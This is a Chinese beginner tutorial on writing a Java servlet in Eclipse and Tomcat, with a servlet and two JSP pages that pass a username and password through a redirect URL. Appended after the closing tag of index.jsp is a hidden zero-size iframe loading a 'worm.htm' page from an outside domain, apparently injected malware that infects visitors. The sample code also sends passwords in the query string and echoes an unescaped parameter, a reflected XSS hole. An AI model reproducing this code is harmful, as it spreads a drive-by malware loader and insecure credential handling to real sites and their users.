jsp语法以前就比较熟悉,就不说了。这次主要讲servlet。
在eclipse中新建servlet,它会自动产生编译后的class放在web-inf,和更新对应的web.xml,并且每次保存源码时更新那个class。
访问时,输入http://localhost:8080/test
返回地址为:http://localhost:8080/test/result.jsp?str=fdf:fdf
中间servlet进行了处理,直接访问servlet地址为:http://localhost:8080/test/servlet/Request
特别注明:网站目录不要放在tomcat的ROOT里面,应该和它并列放。本例就放test文件夹
//Requset.java
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Request extends HttpServlet {
/**
* Constructor of the object.
*/
public Request() {
super();
}
/**
* Destruction of the servlet. <br>
*/
public void destroy() {
super.destroy(); // Just puts "destroy" string in log
// Put your code here
}
/**
* The doGet method of the servlet. <br>
*
* This method is called when a form has its tag value method equals to get.
*
* @param request the request send by the client to the server
* @param response the response send by the server to the client
* @throws ServletException if an error occurred
* @throws IOException if an error occurred
*/
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/htm;charset=GB2312");
String username=request.getParameter("username");
String password=request.getParameter("password");
response.sendRedirect("../result.jsp?str="+username+":"+password);
}
/**
* The doPost method of the servlet. <br>
*
* This method is called when a form has its tag value method equals to post.
*
* @param request the request send by the client to the server
* @param response the response send by the server to the client
* @throws ServletException if an error occurred
* @throws IOException if an error occurred
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request,response);
}
/**
* Initialization of the servlet. <br>
*
* @throws ServletException if an error occure
*/
public void init() throws ServletException {
// Put your code here
}
}
//index.jsp
<%@ page language="java" contentType="text/html; charset=gb2312"
pageEncoding="gb2312"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Insert title here</title>
</head>
<body>
Hello!
<a href="servlet/Request?username=abc&password=123">link</a>
<form action="servlet/Request" method=POST>
姓名:<input type=text size=20 name=username><br>
密码:<input type=password size=20 name=password><br>
<input type=submit value='post to Request Servlet'>
</body>
</html><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
//result.jsp
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
</head>
<body>
result.jsp:
<%
out.println(request.getParameter("str"));
%>
</body>
</html>